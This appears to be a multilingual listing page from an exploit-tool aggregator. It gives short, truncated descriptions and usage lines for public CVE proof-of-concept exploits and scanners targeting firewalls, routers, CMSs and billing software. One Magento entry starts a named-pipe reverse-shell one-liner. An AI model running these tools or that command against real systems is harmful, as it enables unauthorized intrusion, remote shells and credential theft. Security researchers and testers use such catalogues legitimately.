CVE-2024-3400

CVE-2024-3400 PoC 仅用于教育目的。只能在获得授权测试的服务器上使用。 使用方法 依赖： root@kitploit: $ pip install rich 扫描 targets.txt： root@kitploit: $ python run.py -f targets.txt -t 10 - Sending 102 requests... + Requests sent. Writing check file... - Polling 36... - Checking...

CVE-2018-14772

CVE-2018-14772 情報 これは、pydio ファイル共有プラットフォームで発見した脆弱性 CVE-2018-14772 の PoC リモートコード実行エクスプロイトです。動作には pydio アプリケーションの管理者資格情報が必要です。以下のようにエクスプロイトを実行できます: 使用方法 root@kitploit: $ python exploit.py -h usage: exploit.py -h -t TARGET -u USERNAME -p PASSWORD -L LISTENERIP -P LISTENERPORT --payload PAYLOAD explo...

Fortinet-CVE-2022-40684

Fortinet-CVE-2022-40684 ツール概要 CVE-2022-40684 に対する迅速なエクスプロイトツールです。初心者向けのコードで、問題があれば issus を提出してください。 使用方法 main -t http://127.0.0.1 -u admin -f path-of-ssh-key.pub 免責事項 本ツールは、合法的に認可された企業セキュリティ構築活動（例：企業内の攻防演習、脆弱性検証、再テスト）のみを対象としています。本ツールの可用性をテストする必要がある場合は、ご自身でターゲット環境を構築してください。...

Emlog 2.1.9 - SQL Injection

emlog v2.1.9 contains a SQL injection caused by unsanitized input in the data backup/restore functionality, allowing attackers to execute arbitrary SQL commands through crafted backup files. id: CVE-2023-39121 info: name: Emlog 2.1.9 - SQL Injection author: wjch611 severity: high description: |...

Wavlink WL-WN530HG4 M30HG4.V5030.201217 - Information Disclosure

An access control issue in Wavlink WL-WN530HG4 M30HG4.V5030.201217 allows unauthenticated attackers to download configuration data and log files and obtain admin credentials. id: CVE-2022-48166 info: name: Wavlink WL-WN530HG4 M30HG4.V5030.201217 - Information Disclosure author: ritikchaddha...

Wavlink WL-WN533A8 M33A8.V5030.190716 - Information Disclosure

An access control issue in the component /cgi-bin/ExportLogs.sh of Wavlink WL-WN533A8 M33A8.V5030.190716 allows unauthenticated attackers to download configuration data and log files and obtain admin credentials. id: CVE-2022-48164 info: name: Wavlink WL-WN533A8 M33A8.V5030.190716 - Information...

CVE-2015-1397-Magento-Shoplift

CVE-2015-1397-Magento-Shoplift 脆弱性の詳細 HackTheBox - SwagShop で確認された脆弱性 ステージ1 = exploit.py Magento CMS ダッシュボードへの管理者認証情報を取得する ステージ2 = postauth.py exploit.py から取得した認証情報を postauth.py に追加して実行: root@kitploit: python3 postauth.py http://TARGET.SITE/index.php/admin "rm /tmp/f;mkfifo /tmp/f;cat...

CVE-2021-22911-rust

CVE-2021-22911 このCVEのRustによる概念実証です。https://tryhackme.com/room/rocket の一部として使用されています。これはTryHackMe学習プラットフォーム上のCTF boot to rootです。 使用するには、main.rs内の定数を更新して実行すると、すぐに動作するはずです。管理者のメールアドレスとユーザー名が必要であり、さらにMFAが有効になっていないことが条件です。 https://www.exploit-db.com/exploits/49960...

Tenda-F3-V4

Tenda F3 ルーター エクスプロイト & ファイルダウンローダー このプロジェクトは、認証不要の脆弱性（CVE-2020-35391）を利用して Tenda F3 ルーター（v3/v4）から各種ファイルをダウンロードするためのツールです。脆弱性のあるルーターから設定ファイル、システムログ、フラッシュダンプを取得できます。 概要 このスクリプトは Tenda F3 ルーターで見つかった脆弱性を悪用し、攻撃者が認証なしで機密ファイルをダウンロードできるようにします。具体的には、以下のファイルをダウンロードできます（パスワード変更機能の追加にも取り組んでいます）： 設定ファイル...

CVE-2026-1459-POC

CVE-2026-1459-POC CVE-2026-1459 的 POC，其载荷会更改 root 的 SSH 密码。 需要有效的管理员凭据，会临时更改 root 密码，重启后将重置 root 密码。 适用于 VMG3625-T50B 及类似设备，保证在固件 V5.50ABPM.9.7C0 或更早版本上有效。...

SimpleCTF-UpdatedExploit

CMS Made Simple -c -w 参数 -u, --url：目标 CMS Made Simple 实例的基础 URL（例如 http://example.com/cms）。 -c, --crack：可选。尝试使用提供的字典文件破解管理员密码。 -w, --wordlist：可选。用于密码破解的字典文件路径。 示例 示例 1：提取信息而不进行密码破解 root@kitploit: python3 updated46635.py -u http://example.com/cms 示例 2：提取信息并破解密码 root@kitploit: python3 updated46635....

CVE-2026-3055-Scanner---Herramienta-de-Detecci-n

🔍 CVE-2026-3055 Scanner - NetScaler Memory Overread Detection Tool ⚠️ ADVERTENCIA Esta herramienta es solo para fines educativos y de pruebas autorizadas. No utilizar en sistemas sin permiso explícito del propietario. 📋 Descripción Herramienta de detección para CVE-2026-3055 que identifica...

CVE-2026-79588

U-speed WIFI4 N300 T1 Pro v1.0.0 is vulnerable to Cleartext transmission of administration credentials over HTTP...

CVE-2026-79588

U-speed WIFI4 N300 T1 Pro v1.0.0 , a USB Wi-Fi 4 N300 T1 Pro adapter, is vulnerable to cleartext transmission of administration credentials over HTTP . An attacker on the adjacent network can intercept unencrypted admin credentials without requiring prior privileges or user interaction, resulting...

EUVD-2026-74263

U-speed WIFI4 N300 T1 Pro v1.0.0 is vulnerable to Cleartext transmission of administration credentials over HTTP...

CVE-2022-3552

CVE-2022-3552 BoxBlilling の脆弱性を悪用するには、バージョンが "BoxBilling=4.22.1.5" であり、かつ 有効な管理画面の認証情報 を保持している必要があります。 上記の条件を満たしている場合、RCE を取得するための手順は以下の通りです。 Python 仮想環境を作成する Linux root@kitploit: python3 -m venv .venv root@kitploit: source .venv/bin/activate 次に、この pwntools ライブラリをインストールします。 root@kitploit: pip3...

CVE-2023-23752

CVE-2023-23752 概要 このエクスプロイトは管理者のユーザー名とパスワードを漏洩する認証バイパスであり、さらにMySQL設定のユーザー名、パスワード、ホスト、データベースを漏洩します。 脆弱なバージョン 4.00 〜 4.28 使い方 root@kitploit: usage: exploit.sh -h -u URL -t TARGETS CVE-2023-23752 - Authentication Bypass Information Leak on Joomla! options: -h, --help show this help message and exit ...

CVE-2026-49833 DSpace: Path Traversal possible in LDN message generation

DSpace open source software is a repository application which provides durable access to digital resources. From versions 8.0-rc1 to before 8.4, 9.0-rc1 to before 9.3, and 10-rc1 to before 10.0, a path traversal vulnerability is possible via the COAR Notify / LDN service in DSpace. The attacker...

CVE-2026-49833 DSpace: Path Traversal possible in LDN message generation

DSpace open source software is a repository application which provides durable access to digital resources. From versions 8.0-rc1 to before 8.4, 9.0-rc1 to before 9.3, and 10-rc1 to before 10.0, a path traversal vulnerability is possible via the COAR Notify / LDN service in DSpace. The attacker...

mikrot8over

mikrot8over mikrot8over: strumento di sfruttamento rapido per Mikrotik RouterOS fino alla versione 6.38.4 Descrizione Questa è una rielaborazione dell'originale Mikrotik Exploit. Sono state aggiunte la compatibilità con Python 2 e funzionalità di scansione multithreading. Versione Python L'utilit...